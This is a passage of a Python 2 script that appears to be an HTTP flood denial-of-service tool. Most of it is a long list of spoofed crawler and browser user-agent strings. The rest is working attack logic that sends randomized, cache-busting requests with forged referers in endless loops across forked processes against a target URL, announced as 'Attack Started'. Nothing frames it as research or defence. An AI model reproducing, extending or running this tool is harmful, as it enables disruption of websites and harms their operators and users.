  4438.     headers_useragents.append('CyberSpyder Link Test/2.1.12')
  4439.     headers_useragents.append('CydralSpider/1.x')
  4440.     headers_useragents.append('CydralSpider/3.0')
  4441.     headers_useragents.append('DA 3.5')
  4442.     headers_useragents.append('DA 4.0')
  4443.     headers_useragents.append('DA 4.0')
  4444.     headers_useragents.append('DA 5.0')
  4445.     headers_useragents.append('DA 7.0')
  4446.     headers_useragents.append('DAP x.x')
  4447.     headers_useragents.append('Dart Communications PowerTCP')
  4448.     headers_useragents.append('DataCha0s/2.0')
  4449.     headers_useragents.append('DataCha0s/2.0')
  4450.     headers_useragents.append('DataFountains/DMOZ Downloader')
  4451.     headers_useragents.append('DataFountains/Dmoz Downloader (http://ivia.ucr.edu/useragents.shtml)')
  4452.     headers_useragents.append('DataFountains/DMOZ Feature Vector Corpus Creator (http://ivia.ucr.edu/useragents.shtml)')
  4453.     headers_useragents.append('DataparkSearch/4.47 (+http://dataparksearch.org/bot)')
  4454.     headers_useragents.append('DataparkSearch/4.xx (http://www.dataparksearch.org/)')
  4455.     headers_useragents.append('DataSpear/1.0 (Spider; http://www.dataspear.com/spider.html; spider@dataspear.com)')
  4456.     headers_useragents.append('DataSpearSpiderBot/0.2 (DataSpear Spider Bot; http://dssb.dataspear.com/bot.html; dssb@dataspear.com)')
  4457.     headers_useragents.append('DatenBot( http://www.sicher-durchs-netz.de/bot.html)')
  4458.     headers_useragents.append('DaviesBot/1.7')
  4459.     headers_useragents.append('daypopbot/0.x')
  4460.     headers_useragents.append('dbDig(http://www.prairielandconsulting.com)')
  4461.     headers_useragents.append('DBrowse 1.4b')
  4462.     headers_useragents.append('DBrowse 1.4d')
  4463.     headers_useragents.append('DC-Sakura/x.xx')
  4464.     headers_useragents.append('dCSbot/1.1')
  4465.     headers_useragents.append('DDD')
  4466.     headers_useragents.append('dds explorer v1.0 beta')
  4467.     headers_useragents.append('de.searchengine.comBot 1.2 (http://de.searchengine.com/spider)')
  4468.     headers_useragents.append('DeadLinkCheck/0.4.0 libwww-perl/5.xx')
  4469.     headers_useragents.append('Deep Link Calculator v1.0')
  4470.     headers_useragents.append('deepak-USC/ISI')
  4471.     headers_useragents.append('DeepIndex')
  4472.     headers_useragents.append('DeepIndex ( http://www.zetbot.com )')
  4473.     headers_useragents.append('DeepIndex (www.en.deepindex.com)')
  4474.     headers_useragents.append('DeepIndexer.ca')
  4475.     headers_useragents.append('del.icio.us-thumbnails/1.0 Mozilla/5.0 (compatible; Konqueror/3.4; FreeBSD) KHTML/3.4.2 (like Gecko)')
  4476.     headers_useragents.append('DeleGate/9.0.5-fix1')
  4477.     headers_useragents.append('Demo Bot DOT 16b')
  4478.     headers_useragents.append('Demo Bot Z 16b')
  4479.     headers_useragents.append('Denmex websearch (http://search.denmex.com)')
  4480.     headers_useragents.append('dev-spider2.searchpsider.com/1.3b')
  4481.     headers_useragents.append('DevComponents.com HtmlDocument Object')
  4482.     headers_useragents.append('DiaGem/1.1 (http://www.skyrocket.gr.jp/diagem.html)')
  4483.     headers_useragents.append('Diamond/x.0')
  4484.     headers_useragents.append('DiamondBot')
  4485.     headers_useragents.append('Digger/1.0 JDK/1.3.0rc3')
  4486.     headers_useragents.append('DigOut4U')
  4487.     headers_useragents.append('DIIbot/1.2')
  4488.     headers_useragents.append('Dillo/0.8.5-i18n-misc')
  4489.     headers_useragents.append('Dillo/0.x.x')
  4490.     headers_useragents.append('disastrous/1.0.5 (running with Python 2.5.1; http://www.bortzmeyer.org/disastrous.html; archangel77@del.icio.us)')
  4491.     headers_useragents.append('DISCo Pump x.x')
  4492.     headers_useragents.append('disco/Nutch-0.9 (experimental crawler; www.discoveryengine.com; disco-crawl@discoveryengine.com)')
  4493.     headers_useragents.append('disco/Nutch-1.0-dev (experimental crawler; www.discoveryengine.com; disco-crawl@discoveryengine.com)')
  4494.     headers_useragents.append('DittoSpyder')
  4495.     headers_useragents.append('dloader(NaverRobot)/1.0')
  4496.     headers_useragents.append('DNSRight.com WebBot Link Ckeck Tool. Report abuse to: dnsr@dnsright.com')
  4497.     headers_useragents.append('DoCoMo/1.0/Nxxxi/c10')
  4498.     headers_useragents.append('DoCoMo/1.0/Nxxxi/c10/TB')
  4499.     headers_useragents.append('DoCoMo/1.0/P502i/c10 (Google CHTML Proxy/1.0)')
  4500.     headers_useragents.append('DoCoMo/2.0 P900iV(c100;TB;W24H11)')
  4501.     headers_useragents.append('DoCoMo/2.0 SH901iS(c100;TB;W24H12))gzip(gfe) (via translate.google.com)')
  4502.     headers_useragents.append('DoCoMo/2.0 SH902i (compatible; Y!J-SRD/1.0; http://help.yahoo.co.jp/help/jp/search/indexing/indexing-27.html)')
  4503.     headers_useragents.append('DoCoMo/2.0/SO502i (compatible; Y!J-SRD/1.0; http://help.yahoo.co.jp/help/jp/search/indexing/indexing-27.html)')
  4504.     headers_useragents.append('DocZilla/1.0 (Windows; U; WinNT4.0; en-US; rv:1.0.0) Gecko/20020804')
  4505.     headers_useragents.append('dodgebot/experimental')
  4506.     headers_useragents.append('DonutP; Windows98SE')
  4507.     headers_useragents.append('Doubanbot/1.0 (bot@douban.com http://www.douban.com)')
  4508.     headers_useragents.append('Download Demon/3.x.x.x')
  4509.     headers_useragents.append('Download Druid 2.x')
  4510.     headers_useragents.append('Download Express 1.0')
  4511.     headers_useragents.append('Download Master')
  4512.     headers_useragents.append('Download Ninja 3.0')
  4513.     headers_useragents.append('Download Wonder')
  4514.     headers_useragents.append('Download-Tipp Linkcheck (http://download-tipp.de/)')
  4515.     headers_useragents.append('Download.exe(1.1) (+http://www.sql-und-xml.de/freeware-tools/)')
  4516.     headers_useragents.append('DownloadDirect.1.0')
  4517.     headers_useragents.append('Dr.Web (R) online scanner: http://online.drweb.com/')
  4518.     headers_useragents.append('Dragonfly File Reader')
  4519.     headers_useragents.append('Drecombot/1.0 (http://career.drecom.jp/bot.html)')
  4520.     headers_useragents.append('Drupal (+http://drupal.org/)')
  4521.     headers_useragents.append('DSurf15a 01')
  4522.     headers_useragents.append('DSurf15a 71')
  4523.     headers_useragents.append('DSurf15a 81')
  4524.     headers_useragents.append('DSurf15a VA')
  4525.     headers_useragents.append('DTAAgent')
  4526.     headers_useragents.append('dtSearchSpider')
  4527.     headers_useragents.append('Dual Proxy')
  4528.     headers_useragents.append('DuckDuckBot/1.0; (+http://duckduckgo.com/duckduckbot.html)')
  4529.     headers_useragents.append('Dumbot(version 0.1 beta - dumbfind.com)')
  4530.     headers_useragents.append('Dumbot(version 0.1 beta - http://www.dumbfind.com/dumbot.html)')
  4531.     headers_useragents.append('Dumbot(version 0.1 beta)')
  4532.     headers_useragents.append('e-sense 1.0 ea(www.vigiltech.com/esensedisclaim.html)')
  4533.     headers_useragents.append('e-SocietyRobot(http://www.yama.info.waseda.ac.jp/~yamana/es/)')
  4534.     headers_useragents.append('eApolloBot/2.0 (compatible; heritrix/2.0.0-SNAPSHOT-20071024.170148 +http://www.eapollo-opto.com)')
  4535.     headers_useragents.append('EARTHCOM.info/1.x [www.earthcom.info]')
  4536.     headers_useragents.append('EARTHCOM.info/1.xbeta [www.earthcom.info]')
  4537.     headers_useragents.append('EasyDL/3.xx')
  4538.     headers_useragents.append('EasyDL/3.xx http://keywen.com/Encyclopedia/Bot')
  4539.     headers_useragents.append('EBrowse 1.4b')
  4540.     headers_useragents.append('eCatch/3.0')
  4541.     headers_useragents.append('EchO!/2.0')
  4542.     headers_useragents.append('Educate Search VxB')
  4543.     headers_useragents.append('egothor/3.0a (+http://www.xdefine.org/robot.html)')
  4544.     headers_useragents.append('EgotoBot/4.8 (+http://www.egoto.com/about.htm)')
  4545.     headers_useragents.append('ejupiter.com')
  4546.     headers_useragents.append('EldoS TimelyWeb/3.x')
  4547.     headers_useragents.append('elfbot/1.0 (+http://www.uchoose.de/crawler/elfbot/)')
  4548.     headers_useragents.append('ELI/20070402:2.0 (DAUM RSS Robot) Daum Communications Corp.; +http://ws.daum.net/aboutkr.html)')
  4549.     headers_useragents.append('ELinks (0.x.x; Linux 2.4.20 i586; 132x60)')
  4550.     headers_useragents.append('ELinks/0.x.x (textmode; NetBSD 1.6.2 sparc; 132x43)')
  4551.     headers_useragents.append('EmailSiphon')
  4552.     headers_useragents.append('EmailSpider')
  4553.     headers_useragents.append('EmailWolf 1.00')
  4554.     headers_useragents.append('EmeraldShield.com WebBot')
  4555.     headers_useragents.append('EmeraldShield.com WebBot (http://www.emeraldshield.com/webbot.aspx)')
  4556.     headers_useragents.append('EMPAS_ROBOT')
  4557.     headers_useragents.append('EnaBot/1.x (http://www.enaball.com/crawler.html)')
  4558.     headers_useragents.append('endo/1.0 (Mac OS X; ppc i386; http://kula.jp/endo)')
  4559.     headers_useragents.append('Enfish Tracker')
  4560.     headers_useragents.append('Enterprise_Search/1.0')
  4561.     headers_useragents.append('Enterprise_Search/1.0.xxx')
  4562.     headers_useragents.append('Enterprise_Search/1.00.xxx;MSSQL (http://www.innerprise.net/es-spider.asp)')
  4563.     headers_useragents.append('envolk/1.7 (+http://www.envolk.com/envolkspiderinfo.php)')
  4564.     headers_useragents.append('envolk[ITS]spider/1.6(+http://www.envolk.com/envolkspider.html)')
  4565.     headers_useragents.append('EroCrawler')
  4566.     headers_useragents.append('ES.NET_Crawler/2.0 (http://search.innerprise.net/)')
  4567.     headers_useragents.append('eseek-larbin_2.6.2 (crawler@exactseek.com)')
  4568.     headers_useragents.append('ESISmartSpider')
  4569.     headers_useragents.append('eStyleSearch 4 (compatible; MSIE 6.0; Windows NT 5.0)')
  4570.     headers_useragents.append('ESurf15a 15')
  4571.     headers_useragents.append('EuripBot/0.x (+http://www.eurip.com) GetFile')
  4572.     headers_useragents.append('EuripBot/0.x (+http://www.eurip.com) GetRobots')
  4573.     headers_useragents.append('EuripBot/0.x (+http://www.eurip.com) PreCheck')
  4574.     headers_useragents.append('Eurobot/1.0 (http://www.ayell.eu)')
  4575.     headers_useragents.append('EvaalSE - bot@evaal.com')
  4576.     headers_useragents.append('eventax/1.3 (eventax; http://www.eventax.de/; info@eventax.de)')
  4577.     headers_useragents.append('Everest-Vulcan Inc./0.1 (R&D project; host=e-1-24; http://everest.vulcan.com/crawlerhelp)')
  4578.     headers_useragents.append('Everest-Vulcan Inc./0.1 (R&D project; http://everest.vulcan.com/crawlerhelp)')
  4579.     headers_useragents.append('Exabot-Images/1.0')
  4580.     headers_useragents.append('Exabot-Test/1.0')
  4581.     headers_useragents.append('Exabot/2.0')
  4582.     headers_useragents.append('Exabot/3.0')
  4583.     headers_useragents.append('ExactSearch')
  4584.     headers_useragents.append('ExactSeek Crawler/0.1')
  4585.     headers_useragents.append('exactseek-crawler-2.63 (crawler@exactseek.com)')
  4586.     headers_useragents.append('exactseek-pagereaper-2.63 (crawler@exactseek.com)')
  4587.     headers_useragents.append('exactseek.com')
  4588.     headers_useragents.append('Exalead NG/MimeLive Client (convert/http/0.120)')
  4589.     headers_useragents.append('Excalibur Internet Spider V6.5.4')
  4590.     headers_useragents.append('Execrawl/1.0 (Execrawl; http://www.execrawl.com/; bot@execrawl.com)')
  4591.     headers_useragents.append('exooba crawler/exooba crawler (crawler for exooba.com; http://www.exooba.com/; info at exooba dot com)')
  4592.     headers_useragents.append('exooba/exooba crawler (exooba; exooba)')
  4593.     headers_useragents.append('ExperimentalHenrytheMiragoRobot')
  4594.     headers_useragents.append('Expired Domain Sleuth')
  4595.     headers_useragents.append('Express WebPictures (www.express-soft.com)')
  4596.     headers_useragents.append('ExtractorPro')
  4597.     headers_useragents.append('Extreme Picture Finder')
  4598.     headers_useragents.append('EyeCatcher (Download-tipp.de)/1.0')
  4599.     headers_useragents.append('Factbot 1.09 (see http://www.factbites.com/webmasters.php)')
  4600.     headers_useragents.append('factbot : http://www.factbites.com/robots')
  4601.     headers_useragents.append('FaEdit/2.0.x')
  4602.     headers_useragents.append('FairAd Client')
  4603.     headers_useragents.append('FANGCrawl/0.01')
  4604.     headers_useragents.append('FARK.com link verifier')
  4605.     headers_useragents.append('Fast Crawler Gold Edition')
  4606.     headers_useragents.append('FAST Enterprise Crawler 6 (Experimental)')
  4607.     headers_useragents.append('FAST Enterprise Crawler 6 / Scirus scirus-crawler@fast.no; http://www.scirus.com/srsapp/contactus/')
  4608.     headers_useragents.append('FAST Enterprise Crawler 6 used by Cobra Development (admin@fastsearch.com)')
  4609.     headers_useragents.append('FAST Enterprise Crawler 6 used by Comperio AS (sts@comperio.no)')
  4610.     headers_useragents.append('FAST Enterprise Crawler 6 used by FAST (FAST)')
  4611.     headers_useragents.append('FAST Enterprise Crawler 6 used by Pages Jaunes (pvincent@pagesjaunes.fr)')
  4612.     headers_useragents.append('FAST Enterprise Crawler 6 used by Sensis.com.au Web Crawler (search_comments\at\sensis\dot\com\dot\au)')
  4613.     headers_useragents.append('FAST Enterprise Crawler 6 used by Singapore Press Holdings (crawler@sphsearch.sg)')
  4614.     headers_useragents.append('FAST Enterprise Crawler 6 used by WWU (wardi@uni-muenster.de)')
  4615.     headers_useragents.append('FAST Enterprise Crawler/6 (www.fastsearch.com)')
  4616.     headers_useragents.append('FAST Enterprise Crawler/6.4 (helpdesk at fast.no)')
  4617.     headers_useragents.append('FAST FirstPage retriever (compatible; MSIE 5.5; Mozilla/4.0)')
  4618.     headers_useragents.append('FAST MetaWeb Crawler (helpdesk at fastsearch dot com)')
  4619.     headers_useragents.append('Fast PartnerSite Crawler')
  4620.     headers_useragents.append('FAST-WebCrawler/2.2.10 (Multimedia Search) (crawler@fast.no; http://www.fast.no/faq/faqfastwebsearch/faqfastwebcrawler.html)')
  4621.     headers_useragents.append('FAST-WebCrawler/2.2.6 (crawler@fast.no; http://www.fast.no/faq/faqfastwebsearch/faqfastwebcrawler.html)')
  4622.     headers_useragents.append('FAST-WebCrawler/2.2.7 (crawler@fast.no; http://www.fast.no/faq/faqfastwebsearch/faqfastwebcrawler.html)http://www.fast.no')
  4623.     headers_useragents.append('FAST-WebCrawler/2.2.8 (crawler@fast.no; http://www.fast.no/faq/faqfastwebsearch/faqfastwebcrawler.html)http://www.fast.no')
  4624.     headers_useragents.append('FAST-WebCrawler/3.2 test')
  4625.     headers_useragents.append('FAST-WebCrawler/3.3 (crawler@fast.no; http://fast.no/support.php?c=faqs/crawler)')
  4626.     headers_useragents.append('FAST-WebCrawler/3.4/Nirvana (crawler@fast.no; http://fast.no/support.php?c=faqs/crawler)')
  4627.     headers_useragents.append('FAST-WebCrawler/3.4/PartnerSite (crawler@fast.no; http://fast.no/support.php?c=faqs/crawler)')
  4628.     headers_useragents.append('FAST-WebCrawler/3.5 (atw-crawler at fast dot no; http://fast.no/support.php?c=faqs/crawler)')
  4629.     headers_useragents.append('FAST-WebCrawler/3.6 (atw-crawler at fast dot no; http://fast.no/support/crawler.asp)')
  4630.     headers_useragents.append('FAST-WebCrawler/3.6/FirstPage (crawler@fast.no; http://fast.no/support.php?c=faqs/crawler)')
  4631.     headers_useragents.append('FAST-WebCrawler/3.7 (atw-crawler at fast dot no; http://fast.no/support/crawler.asp)')
  4632.     headers_useragents.append('FAST-WebCrawler/3.7/FirstPage (atw-crawler at fast dot no;http://fast.no/support/crawler.asp)')
  4633.     headers_useragents.append('FAST-WebCrawler/3.8 (atw-crawler at fast dot no; http://fast.no/support/crawler.asp)')
  4634.     headers_useragents.append('FAST-WebCrawler/3.8/Fresh (atw-crawler at fast dot no; http://fast.no/support/crawler.asp)')
  4635.     headers_useragents.append('FAST-WebCrawler/3.x Multimedia')
  4636.     headers_useragents.append('FAST-WebCrawler/3.x Multimedia (mm dash crawler at fast dot no)')
  4637.     headers_useragents.append('fastbot crawler beta 2.0 (+http://www.fastbot.de)')
  4638.     headers_useragents.append('FastBug http://www.ay-up.com')
  4639.     headers_useragents.append('FastCrawler 3.0.1 (crawler@1klik.dk)')
  4640.     headers_useragents.append('FastSearch Web Crawler for Verizon SuperPages (kevin.watters@fastsearch.com)')
  4641.     headers_useragents.append('Favcollector/2.0 (info@favcollector.com http://www.favcollector.com/)')
  4642.     headers_useragents.append('FavIconizer')
  4643.     headers_useragents.append('favo.eu crawler/0.6 (http://www.favo.eu)')
  4644.     headers_useragents.append('FavOrg')
  4645.     headers_useragents.append('Favorites Checking (http://campulka.net)')
  4646.     headers_useragents.append('Favorites Sweeper v.2.03')
  4647.     headers_useragents.append('Faxobot/1.0')
  4648.     headers_useragents.append('FDM 1.x')
  4649.     headers_useragents.append('FDM 2.x')
  4650.     headers_useragents.append('Feed Seeker Bot (RSS Feed Seeker http://www.MyNewFavoriteThing.com/fsb.php)')
  4651.     headers_useragents.append('Feed24.com')
  4652.     headers_useragents.append('Feed::Find/0.0x')
  4653.     headers_useragents.append('Feedable/0.1 (compatible; MSIE 6.0; Windows NT 5.1)')
  4654.     headers_useragents.append('FeedChecker/0.01')
  4655.     headers_useragents.append('FeedDemon/2.7 (http://www.newsgator.com/; Microsoft Windows XP)')
  4656.     headers_useragents.append('Feedfetcher-Google-iGoogleGadgets; (+http://www.google.com/feedfetcher.html)')
  4657.     headers_useragents.append('Feedfetcher-Google; (+http://www.google.com/feedfetcher.html)')
  4658.     headers_useragents.append('FeedForAll rss2html.php v2')
  4659.     headers_useragents.append('FeedHub FeedDiscovery/1.0 (http://www.feedhub.com)')
  4660.     headers_useragents.append('FeedHub MetaDataFetcher/1.0 (http://www.feedhub.com)')
  4661.     headers_useragents.append('Feedjit Favicon Crawler 1.0')
  4662.     headers_useragents.append('Feedreader 3.xx (Powered by Newsbrain)')
  4663.     headers_useragents.append('Feedshow/x.0 (http://www.feedshow.com; 1 subscriber)')
  4664.     headers_useragents.append('FeedshowOnline (http://www.feedshow.com)')
  4665.     headers_useragents.append('FeedZcollector v1.x (Platinum) http://www.feeds4all.com/feedzcollector')
  4666.     headers_useragents.append('Felix - Mixcat Crawler (+http://mixcat.com)')
  4667.     headers_useragents.append('fetch libfetch/2.0')
  4668.     headers_useragents.append('FFC Trap Door Spider')
  4669.     headers_useragents.append('Filangy/0.01-beta (Filangy; http://www.nutch.org/docs/en/bot.html; filangy-agent@filangy.com)')
  4670.     headers_useragents.append('Filangy/1.0x (Filangy; http://www.filangy.com/filangyinfo.jsp?inc=robots.jsp; filangy-agent@filangy.com)')
  4671.     headers_useragents.append('Filangy/1.0x (Filangy; http://www.nutch.org/docs/en/bot.html; filangy-agent@filangy.com)')
  4672.     headers_useragents.append('fileboost.net/1.0 (+http://www.fileboost.net)')
  4673.     headers_useragents.append('FileHound x.x')
  4674.     headers_useragents.append('Filtrbox/1.0')
  4675.     headers_useragents.append('FindAnISP.com_ISP_Finder_v99a')
  4676.     headers_useragents.append('Findexa Crawler (http://www.findexa.no/gulesider/article26548.ece)')
  4677.     headers_useragents.append('findlinks/x.xxx (+http://wortschatz.uni-leipzig.de/findlinks/)')
  4678.     headers_useragents.append('FineBot')
  4679.     headers_useragents.append('Finjan-prefetch')
  4680.     headers_useragents.append('Firefly/1.0')
  4681.     headers_useragents.append('Firefly/1.0 (compatible; Mozilla 4.0; MSIE 5.5)')
  4682.     headers_useragents.append('Firefox (kastaneta03@hotmail.com)')
  4683.     headers_useragents.append('Firefox_1.0.6 (kasparek@naparek.cz)')
  4684.     return(headers_useragents)
  4685.  
  4686. # generates a referer array
  4687. def referer_list():
  4688.     global headers_referers
  4689.     headers_referers = []
  4690.     headers_referers.append('http://www.usatoday.com/search/results?q=')
  4691.     headers_referers.append('http://engadget.search.aol.com/search?q=')
  4692.     headers_referers.append('http://' + host + '/')
  4693.     return(headers_referers)
  4694.  
  4695. def handler(signum,_):
  4696.     if signum == signal.SIGALRM:
  4697.         print "Time is up !"
  4698.         print "Attack finished !"
  4699.     sys.exit()
  4700.  
  4701. #builds random ascii string
  4702. def buildblock(size):
  4703.     out_str = ''
  4704.     for i in range(0, size):
  4705.         a = random.randint(65, 90)
  4706.         out_str += chr(a)
  4707.     return(out_str)
  4708.  
  4709. def send_packet(host,param_joiner):
  4710.     request = urllib2.Request(url + param_joiner + buildblock(random.randint(3,10)) + '=' + buildblock(random.randint(3,10)))
  4711.     request.add_header('User-Agent', random.choice(headers_useragents))
  4712.     request.add_header('Cache-Control', 'no-cache')
  4713.     request.add_header('Accept-Charset', 'ISO-8859-1,utf-8;q=0.7,*;q=0.7')
  4714.     request.add_header('Referer', random.choice(headers_referers) + buildblock(random.randint(5,10)))
  4715.     request.add_header('Keep-Alive', random.randint(110,120))
  4716.     request.add_header('Connection', 'keep-alive')
  4717.     request.add_header('Host',host)
  4718.     try:
  4719.         response = urllib2.urlopen(request)
  4720.     except urllib2.HTTPError,error:
  4721.         pass
  4722.     except urllib2.URLError, error:
  4723.         pass
  4724. #   print "response code = %d "%response.code
  4725.  
  4726. def attack(host,param_joiner):
  4727.     while True:
  4728.         send_packet(host,param_joiner)
  4729.  
  4730. def parse_parameters(parameters):
  4731.  
  4732.     global url
  4733.     global interval
  4734.     global num_thread
  4735.     interval_def = 30
  4736.     num_thread_def = 5
  4737.     interval = interval_def
  4738.     num_thread = num_thread_def
  4739.     try :
  4740.         opts,args = getopt.getopt(parameters,"ht:c:",["help"])
  4741.         url = args[0]
  4742.         for opt,arg in opts:
  4743.             if opt in ('-h','--help'):
  4744.                 usage()
  4745.             elif opt in ('-t','--time'):
  4746.                 if arg.isalnum():
  4747.                     interval = arg
  4748.                 else:
  4749.                     usage()
  4750.             elif opt in ('-c','--count'):
  4751.                 if arg.isalnum():
  4752.                     num_thread = arg
  4753.                 else:
  4754.                     usage()
  4755.     except getopt.GetoptError:  
  4756.         print("getopt error!");  
  4757.         usage();  
  4758.         sys.exit(1);
  4759.  
  4760. if __name__ == '__main__':
  4761.     if len(sys.argv) < 2:
  4762.         usage()
  4763.         sys.exit()
  4764.     parse_parameters(sys.argv[1:])
  4765.     print "Attack Started : bots=%d time=%d %s"%(int(num_thread),int(interval),url)
  4766.     if url.count('/') == 2:
  4767.         url = url + "/"
  4768.     m = re.search('https\://([^/]*)/?.*', url)
  4769.     try :
  4770.         host = m.group(1)
  4771.     except AttributeError,e:
  4772.         usage()
  4773.         sys.exit()
  4774.  
  4775.     useragent_list()
  4776.     referer_list()
  4777.  
  4778.     if url.count("?") > 0:
  4779.         param_joiner = "&"
  4780.     else:
  4781.         param_joiner = "?"
  4782.    
  4783.     signal.signal(signal.SIGINT, handler)
  4784.     signal.signal(signal.SIGALRM, handler)
  4785.     signal.alarm(int(interval))
  4786.  
  4787.     for i in range(int(num_thread)):
  4788.         newpid = os.fork()
  4789.         if newpid == 0:
  4790. #           signal.signal(signal.SIGINT, signal.SIG_DFL)
  4791.             attack(host,param_joiner)
  4792.         else:
  4793.             pass
  4794. #           print ("Child process",os.getpid(),newpid)
  4795.     time.sleep(int(interval))
  4796.     signal.alarm(0)
  4797.     print "main thread exit..."
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